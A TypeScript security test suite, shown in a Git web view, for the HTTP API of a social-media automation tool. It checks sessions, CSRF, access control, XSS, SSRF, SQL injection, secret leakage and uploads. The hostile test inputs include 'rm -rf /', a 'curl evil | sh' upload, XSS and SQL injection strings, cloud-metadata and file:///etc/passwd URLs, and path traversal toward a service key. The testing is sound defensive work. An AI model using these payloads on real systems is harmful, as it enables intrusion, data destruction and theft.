SPB Git

Repository Public

http.test.ts 23.7 KB 220 lines typescript

1/**2 * =============================================================================3 *                  SP BOUCHER | INFRASTRUCTURE & AUTOMATION4 *             ARTIFICIAL INTELLIGENCE • FINANCE • ENGINEERING5 * =============================================================================6 *7 * Project          : MacLustr Social Engine & Remote Navigator8 * File             : tests/security/http.test.ts9 * Module           : tests10 * Repository       : https://git.spboucher.ai/maclustr-social11 * Project Website  : https://social.spboucher.ai12 * Created          : 2026-12-0113 * Last Modified    : 2026-12-0114 *15 * Author           : Simon-Pierre Boucher16 * Position         : Professor of Finance17 * Institution      : Université du Québec en Outaouais (UQO)18 * Organization     : SP Boucher19 * Website          : https://spboucher.ai20 * Git              : https://git.spboucher.ai21 *22 * Preferred Contact: admin@spboucher.ai23 * Technical Contact: dev@spboucher.ai24 * Security/Admin   : admin@spboucher.ai25 *26 * Copyright (c) 202627 * Simon-Pierre Boucher28 * All rights reserved where applicable. This file is governed by the29 * applicable project license, copyright notices and relevant law.30 * Existing third-party rights and notices remain unaffected.31 *32 * License          : None specified (no license file in this repository)33 *34 * Do not embed credentials, private keys, access tokens,35 * certificates or confidential personal information.36 *37 * =============================================================================38 * END OF SP BOUCHER SOURCE HEADER39 * =============================================================================40 */4142import { afterAll, beforeAll, describe, expect, it } from 'vitest';43import sharp from 'sharp';44import { approvedContent, brandId, fixturePage, makeEnv, readySession, type Env, type TestUser } from '../helpers.ts';45import { signMediaUrl } from '@mls/media-engine';4647let env: Env; let owner: TestUser, admin: TestUser, editor: TestUser, viewer: TestUser; let brand: string, pageId: string;48beforeAll(async () => { env = await makeEnv(); owner = await env.user('owner'); admin = await env.user('admin'); editor = await env.user('editor'); viewer = await env.user('viewer');49  ({ brandId: brand, pageId } = await fixturePage(env, admin, 'maclustr')); for (const u of [editor, viewer]) await env.call(admin, 'PUT', `/v1/brands/${brand}/members`, { userId: u.id, role: u.role }); });50afterAll(() => env.close());51const multipart = (fields: Record<string, string>, file: { name: string; type: string; data: Buffer }) => { const b = '----mls' + Math.random().toString(16).slice(2); const parts: Buffer[] = [];52  for (const [k, v] of Object.entries(fields)) parts.push(Buffer.from(`--${b}\r\nContent-Disposition: form-data; name="${k}"\r\n\r\n${v}\r\n`));53  parts.push(Buffer.from(`--${b}\r\nContent-Disposition: form-data; name="file"; filename="${file.name}"\r\nContent-Type: ${file.type}\r\n\r\n`), file.data, Buffer.from(`\r\n--${b}--\r\n`)); return { body: Buffer.concat(parts), headers: { 'content-type': `multipart/form-data; boundary=${b}` } }; };54const upload = (u: TestUser, b: string, file: { name: string; type: string; data: Buffer }) => { const m = multipart({ brandId: b }, file); return env.call(u, 'POST', '/v1/media', m.body, { headers: m.headers }); };5556describe('authentification et session', () => {57  it('toute route /v1 exige une session', async () => {58    for (const d of env.ctx.docs.filter((d) => d.auth === 'user')) { const url = d.path.replace(/:\w+/g, '00000000-0000-4000-8000-000000000000'); const r = await env.call(null, d.method, url, d.method === 'GET' ? undefined : {}); expect(r.status, `${d.method} ${d.path}`).toBe(401); }59  });60  it('un cookie d’un domaine ne vaut pas sur l’autre, et un hôte inconnu est refusé', async () => {61    const r = await env.app.inject({ method: 'GET', url: '/v1/me', headers: { host: 'navigator.test', cookie: `mls=${admin.cookie}social.test` } }); expect(r.statusCode).toBe(401);62    expect((await env.app.inject({ method: 'GET', url: '/v1/me', headers: { host: 'evil.test', cookie: `mls=${admin.cookie}social.test` } })).statusCode).toBe(421);63  });64  it('une session expirée ou d’un utilisateur désactivé ne vaut plus', async () => {65    const u = await env.user('editor'); expect((await env.call(u, 'GET', '/v1/me')).status).toBe(200);66    await env.call(owner, 'POST', `/v1/users/${u.id}/disable`, {}); expect((await env.call(u, 'GET', '/v1/me')).status).toBe(401);67    const v = await env.user('editor'); await env.db.query("UPDATE auth_sessions SET expires_at=now()-interval '1 second' WHERE user_id=$1", [v.id]); expect((await env.call(v, 'GET', '/v1/me')).status).toBe(401);68  });69  it('lien d’activation : usage unique, lié au domaine, expirant ; le défi WebAuthn ne se rejoue pas', async () => {70    const c = await env.call(owner, 'POST', '/v1/users', { handle: 'nouvelle', displayName: 'Nouvelle', role: 'editor' }); const token = c.json.setupLink.split('#')[1];71    expect((await env.call(null, 'POST', '/auth/register/options', { setupToken: token }, { host: 'navigator.test' })).status).toBe(403); // wrong domain72    const o = await env.call(null, 'POST', '/auth/register/options', { setupToken: token }); expect(o.status).toBe(200); expect(o.json.options.authenticatorSelection.userVerification).toBe('required'); expect(o.json.options.rp.id).toBe('social.test');73    const bad = await env.call(null, 'POST', '/auth/register/verify', { state: o.json.state, response: { id: 'x', rawId: 'x', type: 'public-key', response: { clientDataJSON: 'AAAA', attestationObject: 'AAAA' } } }); expect(bad.status).toBeGreaterThanOrEqual(400);74    expect((await env.call(null, 'POST', '/auth/register/verify', { state: o.json.state, response: {} })).status).toBe(403); // the challenge was consumed by the failed attempt75    await env.db.query("UPDATE auth_tickets SET expires_at=now()-interval '1 second' WHERE kind='setup'"); expect((await env.call(null, 'POST', '/auth/register/options', { setupToken: token })).status).toBe(403);76    expect((await env.call(null, 'POST', '/auth/login/verify', { state: 'nope', response: { id: 'x' } })).status).toBe(403);77  });78  it('ticket de passage entre domaines : 60 s, usage unique, lié au domaine cible', async () => {79    const hnd = await env.call(admin, 'POST', '/auth/handoff', { target: 'navigator' }); const t = hnd.json.url.split('#')[1]; expect(hnd.json.url.startsWith('http://navigator.test/handoff#')).toBe(true);80    expect((await env.call(null, 'POST', '/auth/handoff/consume', { ticket: t })).status).toBe(403); // on the wrong domain it is burnt AND refused81    expect((await env.call(null, 'POST', '/auth/handoff/consume', { ticket: t }, { host: 'navigator.test' })).status).toBe(403);82    const t2 = (await env.call(admin, 'POST', '/auth/handoff', { target: 'navigator' })).json.url.split('#')[1]; const ok = await env.call(null, 'POST', '/auth/handoff/consume', { ticket: t2 }, { host: 'navigator.test' });83    expect(ok.status).toBe(200); expect(String(ok.headers['set-cookie'])).toMatch(/HttpOnly/i); expect(String(ok.headers['set-cookie'])).toMatch(/SameSite=Strict/i);84    expect((await env.call(null, 'POST', '/auth/handoff/consume', { ticket: t2 }, { host: 'navigator.test' })).status).toBe(403);85    expect((await env.call(admin, 'POST', '/auth/handoff', { target: 'social' })).status).toBe(403); // same domain86  });87});8889describe('CSRF et origine', () => {90  const body = () => ({ brandId: brand, title: 'x', payload: { lang: 'fr', body: 'x' } });91  it('refuse une requête mutante sans jeton, avec un mauvais jeton, d’une autre origine ou inter-sites', async () => {92    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { 'x-csrf': '' } })).json.error.code).toBe('csrf');93    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { 'x-csrf': 'A'.repeat(editor.csrf.length) } })).json.error.code).toBe('csrf');94    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { 'x-csrf': admin.csrf } })).json.error.code).toBe('csrf'); // another user's token95    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { origin: 'https://evil.example' } })).json.error.code).toBe('origin_mismatch');96    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { origin: 'http://navigator.test' } })).json.error.code).toBe('origin_mismatch');97    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { 'sec-fetch-site': 'cross-site' } })).json.error.code).toBe('cross_site');98    expect((await env.call(editor, 'POST', '/v1/content', body(), { headers: { origin: 'http://social.test' } })).status).toBe(200);99  });100  it('un formulaire HTML inter-sites (text/plain ou urlencoded) ne passe pas', async () => {101    for (const ct of ['text/plain', 'application/x-www-form-urlencoded']) { const r = await env.app.inject({ method: 'POST', url: '/v1/emergency-stop', headers: { host: 'social.test', cookie: `mls=${owner.cookie}social.test`, 'content-type': ct }, payload: '{"engage":true,"reason":"csrf"}' }); expect(r.statusCode).toBeGreaterThanOrEqual(400); }102    expect((await env.db.one('SELECT emergency_stop FROM system_state'))!.emergency_stop).toBe(false);103  });104});105106describe('contrôle d’accès', () => {107  it('chaque route réservée refuse un rôle inférieur', async () => {108    for (const d of env.ctx.docs.filter((d) => d.auth === 'user' && (d.role === 'admin' || d.role === 'owner'))) { const url = d.path.replace(/:\w+/g, '00000000-0000-4000-8000-000000000000'); const r = await env.call(editor, d.method, url, d.method === 'GET' ? undefined : {}); expect(r.status, `${d.method} ${d.path}`).toBe(403); }109    for (const d of env.ctx.docs.filter((d) => d.auth === 'user' && d.role === 'owner')) { const url = d.path.replace(/:\w+/g, '00000000-0000-4000-8000-000000000000'); expect((await env.call(admin, d.method, url, d.method === 'GET' ? undefined : {})).status, `${d.method} ${d.path}`).toBe(403); }110  });111  it('un lecteur ne peut ni écrire, ni approuver, ni planifier', async () => {112    expect((await env.call(viewer, 'POST', '/v1/content', { brandId: brand, title: 'x', payload: { lang: 'fr', body: 'x' } })).status).toBe(404);113    const ok = await approvedContent(env, editor, admin, brand, pageId, 'Pour le lecteur.'); expect((await env.call(viewer, 'POST', '/v1/jobs', { contentId: ok.contentId, scheduledAt: new Date(Date.now() + 9e6).toISOString() })).status).toBe(404);114    expect((await env.call(editor, 'POST', '/v1/jobs', { contentId: ok.contentId, scheduledAt: new Date(Date.now() + 9e6).toISOString() })).status).toBe(404); // editors draft, approvers schedule115  });116  it('les routes internes sont invisibles hors boucle locale, derrière le proxy, ou sans jeton', async () => {117    const svc = { authorization: `Bearer ${env.ctx.serviceToken}` }; const b = { sessionId: '00000000-0000-4000-8000-000000000000', fencingToken: 1 };118    expect((await env.call(null, 'POST', '/internal/nav/lease-heartbeat', b, { headers: svc })).status).toBe(200);119    expect((await env.call(null, 'POST', '/internal/nav/lease-heartbeat', b, { headers: svc, remote: '10.67.0.1' })).status).toBe(404);120    expect((await env.call(null, 'POST', '/internal/nav/lease-heartbeat', b, { headers: { ...svc, 'x-forwarded-for': '203.0.113.9' } })).status).toBe(404);121    expect((await env.call(null, 'POST', '/internal/nav/lease-heartbeat', b, { headers: { ...svc, 'x-mls-via': 'navigator-gateway' } })).status).toBe(404);122    expect((await env.call(null, 'POST', '/internal/nav/lease-heartbeat', b, { headers: { authorization: 'Bearer nope' } })).status).toBe(404);123    expect((await env.call(admin, 'POST', '/internal/worker/claim', {})).status).toBe(401); // a user session is not a worker token124    const s = await readySession(env, owner, [pageId], 'w-sec');125    expect((await env.call(null, 'POST', '/v1/workers/heartbeat', { sessions: [], info: { version: 't', headed: false } }, { headers: { authorization: `Bearer ${s.token}` }, remote: '192.168.2.50' })).status).toBe(401);126    expect((await env.call(null, 'POST', '/v1/workers/heartbeat', { sessions: [], info: { version: 't', headed: false } }, { headers: { authorization: `Bearer ${s.token}`, 'x-mls-via': 'navigator-gateway' } })).status).toBe(401);127    await env.call(owner, 'POST', `/v1/workers/${s.workerId}/disable`, {}); expect((await s.hb()).status).toBe(401);128  });129  it('un worker ne parle que pour ses propres sessions', async () => {130    const a = await readySession(env, owner, [pageId], 'w-a'); const b = await readySession(env, owner, [pageId], 'w-b');131    await b.hb([{ sessionId: a.sessionId, observed: 'ok', url: 'http://127.0.0.1:8883/checkpoint/x' }]); expect((await env.db.one('SELECT state FROM navigator_sessions WHERE id=$1', [a.sessionId]))!.state).toBe('READY');132    expect((await b.worker('/internal/worker/session-event', { sessionId: a.sessionId, event: 'browser_failed' })).status).toBe(404);133    expect((await b.worker('/internal/worker/lease-check', { sessionId: a.sessionId, fencingToken: 1 })).json).toMatchObject({ ok: false, reason: 'unknown_session' });134  });135});136137describe('validation des entrées, XSS, SSRF', () => {138  it('les routes d’exécution n’acceptent ni JavaScript, ni shell, ni champ inconnu', async () => {139    const s = await readySession(env, owner, [pageId], 'w-val');140    for (const extra of [{ script: 'alert(1)' }, { command: 'rm -rf /' }, { eval: '1' }]) { expect((await env.call(admin, 'POST', `/v1/navigator/sessions/${s.sessionId}/takeover`, extra, { host: 'navigator.test' })).status).toBe(400); expect((await env.call(editor, 'POST', '/v1/content', { brandId: brand, title: 'x', payload: { lang: 'fr', body: 'x' }, ...extra })).status).toBe(400); }141    const rec = (await env.call(admin, 'GET', '/v1/recipes')).json.recipes[0];142    const r = await env.call(admin, 'POST', `/v1/recipes/${rec.id}/versions`, { definition: { slug: rec.slug, title: 't', purpose: rec.purpose, allowedHosts: ['127.0.0.1:8883'], steps: [{ action: 'evaluate', id: 'x', timeoutMs: 100, script: 'document.cookie' }] } }); expect(r.status).toBe(400); expect(r.json.error.code).toBe('recipe_invalid');143    const wide = await env.call(admin, 'POST', `/v1/recipes/${rec.id}/versions`, { definition: { slug: rec.slug, title: 't', purpose: 'health_check', allowedHosts: ['facebook.com'], steps: [{ action: 'navigate', id: 'n', timeoutMs: 1000, url: 'https://www.facebook.com/' }] } });144    expect(wide.status).toBe(200); expect(wide.json.status).toBe('draft'); // a draft can be written, but it is not validated and Meta has no page with automation allowed145  });146  it('le contenu est stocké tel quel et rendu en JSON, jamais en HTML ; les en-têtes interdisent l’exécution', async () => {147    const xss = '<img src=x onerror=alert(1)><script>fetch("/v1/me")</script>'; const c = await env.call(editor, 'POST', '/v1/content', { brandId: brand, title: xss.slice(0, 100), payload: { lang: 'fr', body: xss } });148    const g = await env.call(editor, 'GET', `/v1/content/${c.json.id}`); expect(g.json.versions[0].body).toBe(xss); expect(String(g.headers['content-type'])).toMatch(/application\/json/);149    expect(g.headers['x-content-type-options']).toBe('nosniff'); expect(String(g.headers['content-security-policy'])).toMatch(/script-src 'self'/); expect(String(g.headers['content-security-policy'])).not.toMatch(/unsafe-inline|unsafe-eval/); expect(String(g.headers['content-security-policy'])).toMatch(/frame-ancestors 'none'/); expect(g.headers['x-frame-options']).toBe('DENY'); expect(g.headers['cache-control']).toBe('no-store');150  });151  it('SSRF : URL de départ, pages et liens vers le réseau interne ou un hôte hors politique sont refusés', async () => {152    const w = await env.call(owner, 'POST', '/v1/workers', { name: 'w-ssrf' });153    for (const u of ['http://169.254.169.254/latest/meta-data/', 'http://127.0.0.1:8880/v1/users', 'http://192.168.2.72:7420/', 'https://evil.example/', 'file:///etc/passwd', 'http://10.67.0.1:8080/']) {154      const r = await env.call(admin, 'POST', '/v1/navigator/sessions', { label: 's', workerId: w.json.id, startUrl: u }, { host: 'navigator.test' }); expect(r.status, u).toBe(400);155      if (u.startsWith('http')) expect((await env.call(admin, 'POST', '/v1/pages', { brandId: brand, platform: 'fixture', displayName: 'x', url: u })).status, u).toBe(400);156    }157    expect((await env.call(admin, 'POST', '/v1/pages', { brandId: brand, platform: 'fixture', displayName: 'x', url: 'https://www.facebook.com/x' })).json.error.code).toBe('fixture_origin');158    expect((await env.call(admin, 'POST', '/v1/git-sources', { brandId: brand, repo: '../../etc/passwd' })).status).toBe(400); expect((await env.call(admin, 'POST', '/v1/git-sources', { brandId: brand, repo: 'x?y=http://127.0.0.1' })).status).toBe(400);159  });160  it('identifiants malformés et injections SQL sont traités comme introuvables ou invalides', async () => {161    expect((await env.call(admin, 'GET', "/v1/content/1';DROP TABLE users;--")).status).toBe(404); expect((await env.call(admin, 'GET', "/v1/content?brandId=' OR 1=1--")).status).toBe(400);162    expect((await env.call(admin, 'GET', "/v1/audit?action=' OR '1'='1")).json.events).toEqual([]); expect((await env.db.one('SELECT count(*)::int AS n FROM users'))!.n).toBeGreaterThan(3);163  });164  it('les erreurs sont structurées et ne révèlent rien d’interne', async () => {165    const r = await env.call(admin, 'POST', '/v1/brands', { slug: 'maclustr', name: 'dup', identity: { primary: '#000000', ink: '#000000', paper: '#ffffff', wordmark: 'x' } });166    expect(r.status).toBe(409); expect(Object.keys(r.json.error).sort()).toEqual(['code', 'correlationId', 'message']); expect(JSON.stringify(r.json)).not.toMatch(/brands_slug_key|duplicate key|pg_|stack|at /i); expect(r.headers['x-correlation-id']).toBe(r.json.error.correlationId);167    const big = await env.call(editor, 'POST', '/v1/content', { brandId: brand, title: 'x', payload: { lang: 'fr', body: 'x'.repeat(2 * 1024 * 1024) } }); expect(big.status).toBe(413);168  });169});170171describe('fuite de secrets', () => {172  it('aucune réponse ne contient de hash de jeton, de clé ou de cookie ; le jeton worker n’est montré qu’à la création', async () => {173    const w = await env.call(owner, 'POST', '/v1/workers', { name: 'w-leak' }); expect(w.json.token.length).toBeGreaterThan(40);174    for (const url of ['/v1/workers', '/v1/users', '/v1/navigator/sessions', '/v1/me', '/v1/policy', '/v1/audit', '/v1/overview', '/v1/agents']) { const r = await env.call(owner, 'GET', url, undefined, { host: url.includes('navigator') ? 'navigator.test' : 'social.test' }); expect(r.status, url).toBe(200); const t = JSON.stringify(r.json);175      expect(t, url).not.toMatch(/token_hash|public_key|credential_id|opaque_ref/); expect(t, url).not.toContain(w.json.token); expect(t, url).not.toContain(env.ctx.serviceToken); expect(t, url).not.toContain(owner.cookie); }176    expect((await env.db.one('SELECT token_hash FROM workers WHERE id=$1', [w.json.id]))!.token_hash).not.toContain(w.json.token);177  });178  it('le schéma n’a aucune colonne pour un mot de passe, un cookie ou un code Facebook', async () => {179    const cols = (await env.db.query("SELECT table_name||'.'||column_name AS c FROM information_schema.columns WHERE table_schema='public'")).rows.map((r) => r.c).join(' ');180    expect(cols).not.toMatch(/password|cookie|otp|recovery|fb_|facebook_(email|login|pass)/i);181  });182});183184describe('médias : fichiers malveillants et URL signées', () => {185  const png = () => sharp({ create: { width: 400, height: 300, channels: 3, background: '#224466' } }).png().toBuffer();186  it('refuse un fichier déguisé, accepte une image et la nettoie', async () => {187    const svg = await upload(editor, brand, { name: 'photo.png', type: 'image/png', data: Buffer.from('<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>') }); expect(svg.status).toBe(400); expect(svg.json.error.code).toBe('media_unsupported_format');188    expect((await upload(editor, brand, { name: 'a.jpg', type: 'image/jpeg', data: Buffer.from('#!/bin/sh\ncurl evil | sh') })).status).toBe(400);189    const ok = await upload(editor, brand, { name: '../../../etc/passwd<script>.png', type: 'image/png', data: await png() }); expect(ok.status).toBe(200); expect(ok.json.status).toBe('pending'); expect(ok.json.original_name).not.toMatch(/[\/<>]/); expect(ok.json.storage_ref).toMatch(/^[a-f0-9]{64}\.png$/);190    expect((await upload(viewer, brand, { name: 'a.png', type: 'image/png', data: await png() })).status).toBe(404); expect((await upload(editor, await brandId(env, 'orix'), { name: 'a.png', type: 'image/png', data: await png() })).status).toBe(404);191  });192  it('un contenu avec un média sans droits validés ne peut pas être approuvé', async () => {193    const m = await upload(editor, brand, { name: 'b.png', type: 'image/png', data: await sharp({ create: { width: 500, height: 300, channels: 3, background: '#884422' } }).png().toBuffer() });194    const c = await env.call(editor, 'POST', '/v1/content', { brandId: brand, pageId, title: 'm', payload: { lang: 'fr', body: 'Avec image.', mediaSha256: [m.json.sha256], altText: 'Un rectangle.' } }); await env.call(editor, 'POST', `/v1/content/${c.json.id}/submit`, {});195    const a = await env.call(admin, 'POST', `/v1/content/${c.json.id}/approve`, { versionId: c.json.version.id, contentHash: c.json.version.content_hash, pageId, decision: 'approve' }); expect(a.json.error.code).toBe('media_not_approved');196    expect((await env.call(admin, 'POST', `/v1/media/${m.json.id}/rights`, { owner: 'SP', license: 'Interne', source: 'Création', thirdPartyListing: true, attest: true })).status).toBe(400); // a third-party listing cannot be attested away197    expect((await env.call(admin, 'POST', `/v1/media/${m.json.id}/rights`, { owner: 'SP', license: 'Interne', source: 'Création', thirdPartyListing: false, attest: true })).status).toBe(200);198    expect((await env.call(admin, 'POST', `/v1/content/${c.json.id}/approve`, { versionId: c.json.version.id, contentHash: c.json.version.content_hash, pageId, decision: 'approve' })).status).toBe(200);199  });200  it('URL signée : falsifiée, expirée ou présentée par un autre utilisateur → refus', async () => {201    const m = (await env.call(editor, 'GET', `/v1/media?brandId=${brand}`)).json.media[0]; const good = await env.call(editor, 'GET', m.url); expect(good.status).toBe(200); expect(good.headers['content-type']).toMatch(/^image\//);202    expect((await env.call(admin, 'GET', m.url)).status).toBe(403); expect((await env.call(null, 'GET', m.url)).status).toBe(403);203    expect((await env.call(editor, 'GET', m.url.replace(/sig=.{6}/, 'sig=AAAAAA'))).status).toBe(403); expect((await env.call(editor, 'GET', m.url.replace(/exp=\d+/, 'exp=9999999999'))).status).toBe(403);204    expect((await env.call(editor, 'GET', signMediaUrl(env.ctx.mediaKey, m.id, `u:${editor.id}`, -5))).status).toBe(403); expect((await env.call(editor, 'GET', signMediaUrl(Buffer.alloc(32, 1), m.id, `u:${editor.id}`, 60))).status).toBe(403);205  });206  it('le dépôt de preuves n’accepte que du PNG, d’un worker', async () => {207    const s = await readySession(env, owner, [pageId], 'w-ev'); const hdr = { authorization: `Bearer ${s.token}`, 'content-type': 'application/octet-stream' };208    expect((await env.call(null, 'POST', '/internal/worker/evidence', Buffer.from('<html>'.repeat(40)), { headers: hdr })).status).toBe(400);209    const ok = await env.call(null, 'POST', '/internal/worker/evidence', await png(), { headers: hdr }); expect(ok.status).toBe(200); expect((await env.call(editor, 'GET', `/v1/evidence/${ok.json.ref}`)).status).toBe(404); // not linked to a job of a brand the user can see210    expect((await env.call(editor, 'GET', '/v1/evidence/..%2f..%2fcfg%2fservice.key')).status).toBe(404);211  });212});213214describe('limites de débit', () => {215  it('les routes publiques d’authentification sont limitées', async () => {216    let limited = 0; for (let i = 0; i < 40; i++) { const r = await env.call(null, 'POST', '/auth/login/options', {}, { remote: '127.0.0.1', headers: { 'x-forwarded-for': '198.51.100.7' } }); if (r.status === 429) limited++; }217    expect(limited).toBeGreaterThan(5);218  });219});220
Files main
Menu

Theme